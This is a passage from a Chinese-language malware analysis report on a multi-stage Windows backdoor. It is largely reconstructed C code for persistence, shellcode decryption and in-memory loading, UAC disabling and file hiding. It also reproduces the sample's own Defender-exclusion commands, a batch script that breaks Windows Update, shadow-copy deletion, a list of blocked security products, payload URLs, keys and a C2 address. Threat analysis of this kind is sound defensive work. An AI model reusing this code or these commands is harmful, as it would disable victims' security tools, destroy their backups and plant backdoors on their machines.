        if (SUCCEEDED(hr)) {
            // 使用指定文件夹
            pRootFolder->Release();
            pRootFolder = pTaskFolder;
            pTaskFolder = NULL;
        }
    }
    //省略部分代码
    ……
    // 遍历所有任务,检查执行路径
    for (LONG i = 1; i <= lTaskCount; i++) {
        // 获取第i个任务
        hr = pRootFolder->GetTask(i, &pRegisteredTask);
        if (FAILED(hr) || pRegisteredTask == NULL) {
            continue;
        }

        // 获取任务名称
        hr = pRegisteredTask->get_Name(&bstrTaskName);

        // 如果指定了任务名称,只检查匹配的任务
        if (pszTaskName != NULL && pszTaskName[0] != '\0') {
            MultiByteToWideChar(CP_ACP, 0, pszTaskName, -1, wszTaskName, 260);
            if (wcscmp(bstrTaskName, wszTaskName) != 0) {
                goto NEXT_TASK;
            }
        }
        // 获取任务定义
        hr = pRegisteredTask->get_Definition(&pTaskDefinition);
        if (FAILED(hr) || pTaskDefinition == NULL) {
            goto NEXT_TASK;
        }
        // 获取操作集合(Actions)
        hr = pTaskDefinition->get_Actions(&pActionCollection);
        if (SUCCEEDED(hr) && pActionCollection != NULL) {
            LONG lActionCount = 0;
            pActionCollection->get_Count(&lActionCount);
            // 遍历所有操作
            for (LONG j = 1; j <= lActionCount; j++) {
                // 查询IExecAction接口(可执行操作)
                hr = pAction->QueryInterface(IID_IExecAction, (void**)&pExecAction);
                if (SUCCEEDED(hr) && pExecAction != NULL) {
                    // 获取执行路径
                    hr = pExecAction->get_Path(&bstrExecPath);
                    if (SUCCEEDED(hr) && bstrExecPath != NULL) {
                        // 将任务中的路径转换为小写进行比较
                        WCHAR wszTaskExePath[MAX_PATH];
                        wcscpy_s(wszTaskExePath, MAX_PATH, bstrExecPath);
                        _wcslwr_s(wszTaskExePath, MAX_PATH);

                        // 检查是否匹配当前EXE路径
                        if (wcsstr(wszTaskExePath, wszExePath) != NULL ||
                            wcsstr(wszExePath, wszTaskExePath) != NULL) {
                            // 找到匹配的任务
                            bFound = TRUE;
                            nMatchCount++;
                        }
                    } 
                }
            }
        }
        // 如果已找到匹配,可以提前退出
        if (bFound) {
            break;
        }
    }
    //省略部分代码
    ……
    CoUninitialize();
    return bFound;
}
int Soft_ODBC_Setvebs_1_ctrl(void) 
{
    status = RegCreateKeyExA(
        HKEY_CURRENT_USER,              // hKey
        "Software\\ODBDC",              // lpSubKey
        0,                              // Reserved
        NULL,                           // lpClass
        REG_OPTION_NON_VOLATILE,        // dwOptions (默认)
        KEY_ALL_ACCESS,                 // samDesired (0xF003F)
        NULL,                           // lpSecurityAttributes
        &hKey,                          // phkResult
        &dwDisposition                  // lpdwDisposition (创建或打开)
    );

    if (status != ERROR_SUCCESS) {
        // 操作失败,返回 0
        return 0;
    }
    // 设置注册表值
    // 键值名: "revbs"
    // 类型: REG_DWORD (4)
    // 数据: 1
    status = RegSetValueExA(
        hKey,                           // hKey
        "revbs",                        // lpValueName
        0,                              // Reserved
        REG_DWORD,                      // dwType (4)
        (const BYTE*)&dwData,           // lpData
        sizeof(DWORD)                   // cbData (4)
    );
    if (status == ERROR_SUCCESS) {
        result = 1;  // 成功
    }
    RegCloseKey(hKey);
    return result;
}

执行内嵌PE文件,利用系统机制阻止安全软件运行

申请可执行内存执行内嵌的shellcode_adoresd,其内部会调用函数RtlDecompressBuffer解压得到一个PE,内存加载该PE,最后获取导出FUN函数并执行。FUN函数主要功能:写入文件C:\Windows\System32\CodeIntegrity\SiPolicy.p7b(这个是Windows Defender应用程序控制策略文件,病毒修改此文件的目的是利用系统机制阻止安全软件运行),创建注册表自启。

该策略内包含百余条基于文件路径的阻止策略,涵盖国内外超过30款安全软件:

%OSDRIVE%\Program Files (x86)\360\360safe\360Safe.exe
%OSDRIVE%\Program Files (x86)\360\360safe\deepscan\ZhuDongFangYu.exe
%OSDRIVE%\Program Files (x86)\360\360safe\LiveUpdate360.exe
%OSDRIVE%\Program Files (x86)\360\360safe\safemon\360Tray.exe
%OSDRIVE%\Program Files (x86)\360\360safe\Utils\FileSmasher.exe
%OSDRIVE%\Program Files (x86)\360\360sd\*
%OSDRIVE%\Program Files (x86)\Avast*
%OSDRIVE%\Program Files (x86)\AVG\*
%OSDRIVE%\Program Files (x86)\Avira*
%OSDRIVE%\Program Files (x86)\Bitdefender*
%OSDRIVE%\Program Files (x86)\Common Files\Doctor Web*
%OSDRIVE%\Program Files (x86)\Cybereason*
%OSDRIVE%\Program Files (x86)\Cylance*
%OSDRIVE%\Program Files (x86)\DeepInstinct\*
%OSDRIVE%\Program Files (x86)\Doctor Web*
%OSDRIVE%\Program Files (x86)\Elastic*
%OSDRIVE%\Program Files (x86)\Emsisoft*
%OSDRIVE%\Program Files (x86)\ESET\*
%OSDRIVE%\Program Files (x86)\FireEye*
%OSDRIVE%\Program Files (x86)\G Data*
%OSDRIVE%\Program Files (x86)\HP\Sure*
%OSDRIVE%\Program Files (x86)\Huorong\*
%OSDRIVE%\Program Files (x86)\Kaspersky*
%OSDRIVE%\Program Files (x86)\kingsoft\kingsoft antivirus\*
%OSDRIVE%\Program Files (x86)\Lenovo\PCManger\*
%OSDRIVE%\Program Files (x86)\Malwarebytes*
%OSDRIVE%\Program Files (x86)\McAfee*
%OSDRIVE%\Program Files (x86)\Norton*
%OSDRIVE%\Program Files (x86)\Palo Alto*
%OSDRIVE%\Program Files (x86)\Qianxin\Tianqing\*
%OSDRIVE%\Program Files (x86)\Qualys*
%OSDRIVE%\Program Files (x86)\Rising\REC\*
%OSDRIVE%\Program Files (x86)\Sangfor\*
%OSDRIVE%\Program Files (x86)\SentinelOne*
%OSDRIVE%\Program Files (x86)\Sophos*
%OSDRIVE%\Program Files (x86)\Tencent\QQPCMgr\*
%OSDRIVE%\Program Files (x86)\Tianqing\*
%OSDRIVE%\Program Files (x86)\Topsec\ESEndpoint\bin\*
%OSDRIVE%\Program Files (x86)\Trend Micro*

%OSDRIVE%\Program Files\360\360safe\360Safe.exe
%OSDRIVE%\Program Files\360\360safe\deepscan\ZhuDongFangYu.exe
%OSDRIVE%\Program Files\360\360safe\LiveUpdate360.exe
%OSDRIVE%\Program Files\360\360safe\safemon\360Tray.exe
%OSDRIVE%\Program Files\360\360safe\Utils\FileSmasher.exe
%OSDRIVE%\Program Files\360\360sd\*
%OSDRIVE%\Program Files\Avast*
%OSDRIVE%\Program Files\AVG\*
%OSDRIVE%\Program Files\Avira*
%OSDRIVE%\Program Files\Bitdefender*
%OSDRIVE%\Program Files\Common Files\Doctor Web*
%OSDRIVE%\Program Files\Cybereason*
%OSDRIVE%\Program Files\Cylance*
%OSDRIVE%\Program Files\DeepInstinct\*
%OSDRIVE%\Program Files\Doctor Web*
%OSDRIVE%\Program Files\Elastic*
%OSDRIVE%\Program Files\Emsisoft*
%OSDRIVE%\Program Files\ESET\*
%OSDRIVE%\Program Files\FireEye*
%OSDRIVE%\Program Files\G Data*
%OSDRIVE%\Program Files\HP\Sure*
%OSDRIVE%\Program Files\Huorong\*
%OSDRIVE%\Program Files\Kaspersky*
%OSDRIVE%\Program Files\kingsoft\kingsoft antivirus\*
%OSDRIVE%\Program Files\Lenovo\PCManger\*
%OSDRIVE%\Program Files\Malwarebytes*
%OSDRIVE%\Program Files\McAfee*
%OSDRIVE%\Program Files\Norton*
%OSDRIVE%\Program Files\Palo Alto*
%OSDRIVE%\Program Files\Qianxin\Tianqing\*
%OSDRIVE%\Program Files\Qualys*
%OSDRIVE%\Program Files\Rising\REC\*
%OSDRIVE%\Program Files\Sangfor\*
%OSDRIVE%\Program Files\SentinelOne*
%OSDRIVE%\Program Files\Sophos*
%OSDRIVE%\Program Files\Tencent\QQPCMgr\*
%OSDRIVE%\Program Files\Tianqing\*
%OSDRIVE%\Program Files\Topsec\ESEndpoint\bin\*
%OSDRIVE%\Program Files\Trend Micro*

*\2345Associate.exe
*\2345MPCSafe.exe
*\2345RTProtect.exe
*\2345SafeCenterInstaller.exe
*\2345SafeCenterSvc.exe
*\2345SafeCenterUpdate.exe
*\2345SafeSvc.exe
*\2345SafeTray.exe
*\2345SafeUpdate.exe
*\2345UsbGuard.exe
*\2345VirusScan.exe
*\360hips.exe
*\360leakfixer.exe
*\360rp.exe
*\360rps.exe
*\360Safe.exe
*\360sd.exe
*\360sdupd.exe
*\360Tray.exe
*\360Win7Shield.exe
*\ConfigSecurityPolicy.exe
*\HipsDaemon.exe
*\HipsMain.exe
*\HipsTray.exe
*\HRUpdate.exe
*\kdiskcleanup.exe
*\kintercept.exe
*\kislive.exe
*\knewvip.exe
*\kscan.exe
*\ksearchservice.exe
*\kwsprotect64.exe
*\kxecenter.exe
*\kxemain.exe
*\kxescore.exe
*\kxetray.exe
*\kxewsc.exe
*\LAVService.exe
*\LenovoPcManager.exe
*\LenovoPcManagerService.exe
*\LenovoPCMKeyService.exe
*\LenovoTray.exe
*\LiveUpdate360.exe
*\LnvSvcFdn.exe
*\MalwareDetector.exe
*\MpCmdRun.exe
*\MpDefenderCoreService.exe
*\MsMpEng.exe
*\NisSrv.exe
*\QMFileSmashHelper64.exe
*\QMProviderUpdate.exe
*\QQPCExtenal.exe
*\QQPCMgrUpdate.exe
*\QQPCPatch.exe
*\QQPCRTP.exe
*\QQPCTray.exe
*\QQPCUpdateAVLib.exe
*\QQRepair.exe
*\usysdiag.exe
*\wsctrl10.exe
*\wsctrl11.exe
*\wsctrlsvc.exe
*\ZhuDongFangYu.exe
bool CreateRegistryRunEntry(void) 
{
    const char* pszSubKey = "Software\\Microsoft\\Windows\\CurrentVersion\\Run";
    const char* pszValueName = "Tencent SecurityHealth";
    const char* pszFilePath = "C:\\Users\\Public\\ALkQyy\\IJJy31.exe";
    bool bResult = FALSE;
    status = RegOpenKeyExA(HKEY_CURRENT_USER,pszSubKey,0,KEY_ALL_ACCESS,&hKey                           );
    if (status != ERROR_SUCCESS) {
        return FALSE;
    }
    //设置注册表值
    status = RegSetValueExA(
        hKey,                           // hKey
        pszValueName,                   // lpValueName
        0,                              // Reserved
        REG_SZ,                         // dwType
        (const BYTE*)pszFilePath,       // lpData
        (DWORD)(strlen(pszFilePath) + 1) // cbData
    );
    if (status == ERROR_SUCCESS) {

        bResult = TRUE;
    } 
    RegCloseKey(hKey);
    return bResult;
}

检查互斥体状态

待检查的互斥体名{4E062DDA-444A-A2A8-84CE-E105F66A5AB3}aefd_ + GetComputerNameA()函数返回值。

BOOL Check_Mutex_GUID_Str_ctrl(void) 
{
    // 检查硬编码GUID互斥量
    HANDLE hMutex = OpenMutexA(MUTEX_ALL_ACCESS, FALSE, "{4E062DDA-444A-A2A8-84CE-E105F66A5AB3}");
    if (hMutex) {
        CloseHandle(hMutex);
    }
    // 检查 "aefd_" + 计算机名 互斥量
    GetComputerNameA(szComputerName, &dwSize);
    sprintf_s(szMutexName, sizeof(szMutexName), "aefd_%s", szComputerName);
    hMutex = OpenMutexA(MUTEX_ALL_ACCESS, FALSE, szMutexName);
    if (hMutex) {
        CloseHandle(hMutex);
        bResult = TRUE;
    }
    return bResult;
}

下载三阶段配置文件以及部署三阶段payload

检查状态文件C:\Users\Public\Music\destopbak.ini内容,随后执行下载和部署操作。

bool Check_destopbak_Flags_ctrl(void) 
{
    HANDLE hFile = INVALID_HANDLE_VALUE;
    hFile = CreateFileA(
        "C:\\Users\\Public\\Music\\destopbak.ini",
        GENERIC_READ,
        FILE_SHARE_READ,
        NULL,
        OPEN_EXISTING,
        FILE_ATTRIBUTE_NORMAL,
        NULL
    ); 
    if (hFile == INVALID_HANDLE_VALUE) {
        return FALSE;
    }
    dwFileSize = GetFileSize(hFile, NULL);
    if (dwFileSize > 0) {
        ReadFile(hFile, bBuffer, 1, &dwBytesRead, NULL);
    }
    // 如果第一个字节不是 0x0F (15),则返回 FALSE
    // 如果第一个字节是 0x0F,则继续检查
    if (bBuffer[0] != 0x0F) {
        // 第一个字节不是 0x0F,返回 FALSE
        CloseHandle(hFile);
        return FALSE;
    }
    // 循环读取文件内容,检查特定字节
    while (dwLoopCount < dwThreshold) {
        // 读取后续字节
        if (!ReadFile(hFile, bBuffer, 1, &dwBytesRead, NULL) || dwBytesRead == 0) {
            break;
        }
        // 检查字节是否为特定值
        if (bBuffer[0] == 0x01) {
            // 遇到结束标记
            break;
        }
        dwLoopCount++;
    }
    // 如果文件大小 > 0 且第一个字节为 0x0F,则返回 TRUE
    if (dwFileSize > 0 && bBuffer[0] == 0x0F) {
        bResult = TRUE;
    }
    CloseHandle(hFile);
    return bResult;
}

  相关URL及对应payload信息如下表:

URL 解码算法 对应内容
https://26nn.oss-cn-hangzhou.aliyuncs.com/drops.jpg 单字节异或 三阶段payload配置信息
https://26nn.oss-cn-hangzhou.aliyuncs.com/FOM-50.jpg 单字节异或 aaaaaaaaaaaaaaaaaaaaaaa.exe(白文件)
https://26nn.oss-cn-hangzhou.aliyuncs.com/FOM-51.jpg 单字节异或 XPSPLOG.dll(黑DLL)
https://26nn.oss-cn-hangzhou.aliyuncs.com/FOM-52.jpg 单字节异或 image.png
https://26nn.oss-cn-hangzhou.aliyuncs.com/FOM-53.jpg 单字节异或 thumbs.db
https://26nn.oss-cn-hangzhou.aliyuncs.com/qd.dat 滚动密钥多字节异或,key = 0xA81CDB6F ranchserv.jpg(被利用的驱动)

  部署路径为:C:\Program Files (x86)\[6字节随机串]\,文件aaaaaaaaaaaaaaaaaaaaaaa.exeXPSPLOG.dllimage.pngthumbs.db均放在该目录下,其中,aaaaaaaaaaaaaaaaaaaaaaa.exe会被重命名,命名规则[6字节随机串].exe,所有文件落地后包括部署文件夹都会被设置隐藏属性;文件ranchserv.jpg部署到C:\Windows\Temp\目录下,文件属性没有任何修改,不过该阶段的ranchserv.jpg不一定会执行下载和部署,若前个阶段已经部署了该文件,则该阶段不会再执行部署。

  添加Windows Defender扫描排除目录,C:\ProgramDataC:\UsersC:\Program Files (x86)C:\ 和当前部署目录,该样本有三种方式实现该功能:

通过PowerShell命令添加

Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force

通过注册表方式添加

SOFTWARE\Microsoft\Windows Defender\Exclusions\Path

通过计划任务添加

设置为“一次性”任务,以最高权限(HIGHEST)运行,立刻执行,任务执行完毕后,立即删除 Task1 自身。

cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%s\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F

  创建计划任务启动三阶段payload。创建的计划任务名称为"MicrosoftEdgeUpdateTaskUA Task-S-1-5-18 [随机5字符]",执行路径C:\Program Files (x86)\4O8eW6\4O8eW6.exe

三阶段 XPSPLOG.dll

字段 内容
原始文件名 XPSPLOG.dll
文件大小 4.58 MB (4812816 bytes)
文件MD5 2fcd977e13f24671ad824a569f1d3c4d
文件类型 DLL
主要功能 部署并执行最终的后门模块

  计划任务启动重命名后的aaaaaaaaaaaaaaaaaaaaaaa.exe,随即加载XPSPLOG.dll。该模块经VMProtect加固,调用导出函数XPSPLOG_2

  函数流程:进程权限检查及操作,搜索、解码并加载shellcode_4O8eW6

  进程权限检查及操作。根据进程权限检查结果决定是否执行提权操作,控制提权的有两个信号量,一个互斥量Global\MyApp_ElevatedMutex,若存在则表示正在提权,一个事件Global\MyApp_ElevatedReady,若存在则表示提权已经完成。

BOOL GetProcessPrivilegeInfo(VOID) 
{
    //打开进程令牌
    if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) {
        return FALSE;
    }       
    GetTokenInformation(hToken, TokenUser, NULL, 0, &dwSize);
    pTokenUser = (PTOKEN_USER)malloc(dwSize);
    if (!pTokenUser) {
        CloseHandle(hToken);
        return FALSE;
    }
    GetTokenInformation(hToken, TokenUser, pTokenUser, dwSize, &dwSize);
    // 检查是否为管理员
    SID_IDENTIFIER_AUTHORITY NtAuthority = SECURITY_NT_AUTHORITY;
    PSID pAdminSid = NULL;
    if (AllocateAndInitializeSid(&NtAuthority, 2, SECURITY_BUILTIN_RID,
        DOMAIN_ALIAS_RID_ADMINS, 0, 0, 0, 0, 0, 0, &pAdminSid)) {
        if (CheckTokenMembership(NULL, pAdminSid, &bIsElevated)) {
            if (bIsElevated) {
                printf("[+] 当前进程具有管理员权限\n");
            } else {
                printf("[*] 当前进程不具有管理员权限\n");
            }
        }
        FreeSid(pAdminSid);
    }
}

  搜索、解密并加载shellcode_4O8eW6。打开4O8eW6.exe文件,在文件中搜索定位hex2DC4BACE4F6AFCEBRC4定位解密起始偏移,使用密钥NYGpuKKiU7?[0ktRC4解密shellcode_4O8eW6

LONG FindFlags(const BYTE* pRaw, DWORD dwSize) 
{
    //Flags = 2DC4BACE4F6AFCEB
    static const BYTE pattern[] = {0x2D,0xC4,0xBA,0xCE,0x4F,0x6A,0xFC,0xEB};
    static const DWORD patternSize = sizeof(pattern);
    if (pRaw == NULL || dwSize < patternSize) {
        return -1;
    }
    for (DWORD i = 0; i <= dwSize - patternSize; i++) {
        if (memcmp(pRaw + i, pattern, patternSize) == 0) {
            return (LONG)i;
        }
    }
    return -1;
}
void RC4_Decrypt(BYTE* pData, DWORD dwSize, const char* pKey) 
{
    BYTE s[256];
    int i, j, k;
    // 1. 初始化S盒
    for (i = 0; i < 256; i++) s[i] = i;
    // 2. KSA - 密钥调度
    j = 0;
    for (i = 0; i < 256; i++) {
        j = (j + s[i] + pKey[i % strlen(pKey)]) & 0xFF;
        BYTE tmp = s[i];
        s[i] = s[j];
        s[j] = tmp;
    }
    // 3. PRGA - 解密
    i = j = 0;
    for (DWORD n = 0; n < dwSize; n++) {
        i = (i + 1) & 0xFF;
        j = (j + s[i]) & 0xFF;
        BYTE tmp = s[i];
        s[i] = s[j];
        s[j] = tmp;
        pData[n] ^= s[(s[i] + s[j]) & 0xFF];
    }
}

  shellcode_4O8eW6运行后,会读取文件image.png,利用单字节异或解码算法(解码偏移起始是0x5d0,异或的Key=FE)解码得到一个DLL,该模块加了VMProtect(软件保护壳),内存加载之后,调用导出函数PhilipsCoInitialize

int shellcode_4O8eW6() 
{
    HANDLE hFile = INVALID_HANDLE_VALUE;
    DWORD dwFileSize = 0;
    DWORD dwBytesRead = 0;
    BYTE* pBuffer = NULL;
    BYTE* pMappedData = NULL;
    DWORD dwKey = 0;
    BYTE bLastByte = 0;
    DWORD dwMappedBase = 0;
    DWORD pFunc = 0;
    DWORD dwRet = 0;

    // 栈中构建的字符串
    char szImage[] = "image.png";
    char szMsvcrt[] = "msvcrt.dll";
    char szMalloc[] = "malloc";
    char szNtdll[] = "ntdll.dll";
    char szLdrGetProcAddr[] = "LdrGetProcedureAddress";
    char szLdrLoadDll[] = "LdrLoadDll";
    char szLdrFreeDll[] = "LdrFreeDll";
    char szRtlInitAnsiString[] = "RtlInitAnsiString";
    char szRtlAnsiToUnicode[] = "RtlAnsiStringToUnicodeString";
    char szRtlFreeUnicode[] = "RtlFreeUnicodeString";
    char szPhiliPsCoInitialize[] = "PhiliPsCoInitialize";
    // 获取API函数表 (sub_AC5)
    DWORD* pApiTable = (DWORD*)sub_AC5();
    DWORD pCreateFile = pApiTable[3];   // [rbp+var_12C]
    DWORD pGetFileSize = pApiTable[4];  // [rbp+var_12C+4]
    DWORD pReadFile = pApiTable[5];     // [rbp+var_124]
    //  打开文件 "image.png"
    hFile = (HANDLE)((DWORD(*)(const char*, DWORD, DWORD, DWORD, DWORD, DWORD, DWORD))pCreateFile)(
        szImage,            // lpFileName
        0x80000000,         // dwDesiredAccess (GENERIC_READ)
        1,                  // dwShareMode (FILE_SHARE_READ)
        0,                  // lpSecurityAttributes
        3,                  // dwCreationDisposition (OPEN_EXISTING)
        0x80,               // dwFlagsAndAttributes (FILE_ATTRIBUTE_NORMAL)
        0                   // hTemplateFile
    );
    if(hFile == INVALID_HANDLE_VALUE) {
        return -1;
    }
    // 获取文件大小
    dwFileSize = ((DWORD(*)(HANDLE, DWORD))pGetFileSize)(hFile, 0);
    // 获取 malloc 函数 (从 msvcrt.dll)
    DWORD pMalloc = GetProcAddr1(szMsvcrt, szMalloc);
    // 分配内存
    pBuffer = (BYTE*)((DWORD(*)(DWORD))pMalloc)(dwFileSize);
    if (!pBuffer) {
        CloseHandle(hFile);
        return -1;
    }
    // 读取文件数据到缓冲区
    DWORD dwTemp = 0;
    ((DWORD(*)(HANDLE, BYTE*, DWORD, DWORD*, DWORD))pReadFile)(
        hFile,              // hFile
        pBuffer,            // lpBuffer
        dwFileSize,         // nNumberOfBytesToRead
        &dwBytesRead,       // lpNumberOfBytesRead
        0                   // lpOverlapped
    );
    // 关闭文件句柄
    CloseHandle(hFile);
    // 提取解密参数
    bLastByte = pBuffer[dwFileSize - 1];  // 最后一个字节
    offset = 0;
    // 提取解码起始位置
    if (dwFileSize >= 5) {
        for (int i = 0; i < 4; i++) {
            int index = dwFileSize - 2 - i;
            BYTE byteVal = pBuffer[index];
            int shift = (3 - i) * 8;
            offset |= (byteVal << shift);
        }
    }
    // 单字节异或
    Xor_decode(pBuffer, dwFileSize, offset, bLastByte);
    DWORD pMem_DLL = Alloc_Mem(pBuffer, dwFileSize, dwKey);
    // 获取 ntdll.dll 中的多个函数
    DWORD pLdrGetProcAddr = GetProcAddr1(szNtdll, szLdrGetProcAddr);
    DWORD pLdrLoadDll = GetProcAddr1(szNtdll, szLdrLoadDll);
    DWORD pLdrFreeDll = GetProcAddr1(szNtdll, szLdrFreeDll);
    DWORD pRtlInitAnsiString = GetProcAddr1(szNtdll, szRtlInitAnsiString);
    DWORD pRtlAnsiToUnicode = GetProcAddr1(szNtdll, szRtlAnsiToUnicode);
    DWORD pRtlFreeUnicode = GetProcAddr1(szNtdll, szRtlFreeUnicode);
    // 内存映射DLL
    dwMappedBase = Mem_map_Dll(pMem_DLL);
    // 从映射的DLL中获取导出函数
    pFunc = GetProcAddr(dwMappedBase, szPhiliPsCoInitialize);
    // 调用导出函数 
    dwRet = ((DWORD(*)(DWORD, DWORD, DWORD))pFunc)(0, 1, 0x401000);
    // 释放内存
    free(pBuffer);
    return 0;
}

  进入到PhiliPsCoInitialize函数之后,修改白文件hash值,关闭系统UAC提示框,检测360安全软件,创建注册表自启动项,利用漏洞驱动结束杀软进程,添加Windows Defender扫描排除目录,破坏windows更新,删除系统备份文件,屏蔽360相关网站,禁用系统屏保,解码并内存加载后门模块。

修改白文件hash值

函数运行后,会修改白文件最后一个字节,但文件签名依然有效,这是因为Windows在计算PE文件的哈希时会跳过文件末尾的数字签名数据,签名数据对应结构WIN_CERTIFICATE。其中变量dwLength为整个结构体长度,且必须是8的整倍数。因此,添加垃圾数据后维护好结构体长度变量值,让新的结构体长度值包含垃圾数据区域,那么签名校验依然能通过。

关闭系统UAC提示框

bool ModifyUACSettings(void) 
{
    DWORD dwValue = 4;  //要设置的值
    bool bResult = FALSE;
    status = RegOpenKeyExA(
        HKEY_LOCAL_MACHINE,                         
        "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System",  
        0,                                          
        KEY_SET_VALUE | KEY_QUERY_VALUE,            
        &hKey                                       
    );
    if (status != ERROR_SUCCESS) {

        return FALSE;
    }
    status = RegSetValueExA(
        hKey,                          
        "ConsentPromptBehaviorAdmin",  
        0,                             
        REG_DWORD,                     
        (const BYTE*)&dwValue,         
        sizeof(DWORD)                  
    );
    if (status == ERROR_SUCCESS) {
        bResult = TRUE;
    } 
    RegCloseKey(hKey);
    return bResult;
}

检测360安全软件

主要通过检测进程名:360tray.exe360safe.exe360sd.exe,窗口类名:Q360SafeMonClass来识别机器中是否存在360安全软件。

创建注册表自启动项

void CreateRunEntry() 
{
    HKEY hKey;
    if (RegOpenKeyExA(HKEY_CURRENT_USER,
        "Software\\Microsoft\\Windows\\CurrentVersion\\Run",
        0, KEY_WRITE, &hKey) == ERROR_SUCCESS) {

        RegSetValueExA(hKey,
            "Alibaba SecurityHealtha",
            0, REG_SZ,
            (const BYTE*)"C:\\Program Files (x86)\\4O8eW6\\4O8eW6.exe",
            (DWORD)(strlen("C:\\Program Files (x86)\\4O8eW6\\4O8eW6.exe") + 1));

        RegCloseKey(hKey);
    }
}

利用漏洞驱动结束杀软进程

该流程与前面的同名流程完全一致,此处不再赘述

添加Windows Defender扫描排除目录

:: 创建计划任务
SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%s\" /t REG_DWORD /d 0 /f"
:: 立即运行任务
SCHTASKS /Run /TN "Task1"
:: 删除任务
SCHTASKS /Delete /TN "Task1" /F
Add-MpPreference -ExclusionPath @(
    'C:\ProgramData',
    'C:\Users',
    'C:\Program Files (x86)'
) -Force

破坏Windows更新

通过如下执行BAT脚本实现

@echo off

:: ============================================================
:: 第一部分:停止并禁用Windows更新服务
:: ============================================================
for %%i in (wuauserv UsoSvc uhssvc WaaSMedicSvc) do (
    net stop %%i >nul 2>&1
    sc config %%i start= disabled >nul 2>&1
    sc failure %%i reset= 0 actions= "" >nul 2>&1
)

:: ============================================================
:: 第二部分:替换核心DLL文件(破坏性操作)
:: ============================================================
for %%i in (WaaSMedicSvc wuaueng) do (
    takeown /f C:\Windows\System32\%%i.dll >nul 2>&1
    icacls C:\Windows\System32\%%i.dll /grant *S-1-1-0:F >nul 2>&1
    rename C:\Windows\System32\%%i.dll %%i_BAK.dll >nul 2>&1
    icacls C:\Windows\System32\%%i_BAK.dll /setowner "NT SERVICE\TrustedInstaller" >nul 2>&1
    icacls C:\Windows\System32\%%i_BAK.dll /remove *S-1-1-0 >nul 2>&1
)

:: ============================================================
:: 第三部分:修改注册表
:: ============================================================
reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /f >nul 2>&1
reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v FailureActions /t REG_BINARY /d 000000000000000000000000030000001400000000000000c0d4010000000000e09304000000000000000000 /f >nul 2>&1
reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU" /v NoAutoUpdate /t REG_DWORD /d 1 /f >nul 2>&1

:: ============================================================
:: 第四部分:清除更新缓存
:: ============================================================
erase /f /s /q c:\windows\softwaredistribution\*.* >nul 2>&1
rmdir /s /q c:\windows\softwaredistribution >nul 2>&1

:: ============================================================
:: 第五部分:禁用计划任务
:: ============================================================
powershell -NoProfile -WindowStyle Hidden -Command "& {
    Get-ScheduledTask -TaskPath '\Microsoft\Windows\InstallService\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue;
    Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateOrchestrator\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue;
    Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateAssistant\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue;
    Get-ScheduledTask -TaskPath '\Microsoft\Windows\WaaSMedic\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue;
    Get-ScheduledTask -TaskPath '\Microsoft\Windows\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue;
    Get-ScheduledTask -TaskPath '\Microsoft\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue;
}"

删除系统卷影复制备份文件

cmd.exe /c vssadmin delete shadow /all /quiet

屏蔽360相关网站

通过在系统文件C:\Windows\system32\drivers\etc\hosts写入如下内容实现:

127.0.0.1 weishi.360.cn
127.0.0.1 www.360.cn
127.0.0.1 sd.360.cn

禁用系统屏保

void DisableScreenSaver() 
{
    HKEY hKey;
    DWORD dwValue = 0;
    if (RegOpenKeyExA(HKEY_CURRENT_USER,"Control Panel\\Desktop",0, KEY_SET_VALUE, &hKey) == ERROR_SUCCESS) 
    {
        // ScreenSaveActive = 0 (禁用屏保)
        RegSetValueExA(hKey, "ScreenSaveActive", 0, REG_SZ, (const BYTE*)"0", 2);
        // ScreenSaverIsSecure = 0 (不要求密码)
        RegSetValueExA(hKey, "ScreenSaverIsSecure", 0, REG_SZ, (const BYTE*)"0", 2);
        // ScreenSaveTimeOut = 0 (永不启动)
        RegSetValueExA(hKey, "ScreenSaveTimeOut", 0, REG_SZ, (const BYTE*)"0", 2);
        RegCloseKey(hKey);
    }
}

解码并内存加载后门模块

读取配置文件thumbs.db,使用单字节异或算法(异或起始偏移=0x990,Key=0x45)得到一个DLL并进行内存加载,最后调用导出函数Edge

后门模块

字段 内容
文件大小 356 KB (364549 bytes)
文件MD5 e7b54fd5815fb2f44579ebd1364c7bb4
文件类型 EXE
主要功能 建立C2连接并执行远程命令

  进入导出函数Edge后,执行以下操作:隐藏文件并设置窗口监控对象、启动文件/窗口处理线程、阻止系统休眠、循环检测 360Tray.exe 并设置状态文件、连接C2等待命令(C2地址是:8.218.106.149

隐藏文件并设置窗口监控对象

bool SetFileAttr_ctrl(LPCSTR lpFileName, int a2) 
{
    if (a2) {
        // 设置为隐藏+系统文件 (0x6 = FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM)
        return SetFileAttributesA(lpFileName, 0x6);
    } else {
        // 设置为普通文件 (0x80 = FILE_ATTRIBUTE_NORMAL)
        return SetFileAttributesA(lpFileName, 0x80);
    }
}

void CleanupTraces(void) 
{
    // 删除临时/配置文件    
    DeleteFileA("C:\\del");
    DeleteFileA("C:\\tzfz");
    DeleteFileA("C:\\1.ini");
    DeleteFileA("C:\\2.ini");
    DeleteFileA("c:\\xxxx.ini");
    DeleteFileA("C:\\xxxx.ini");
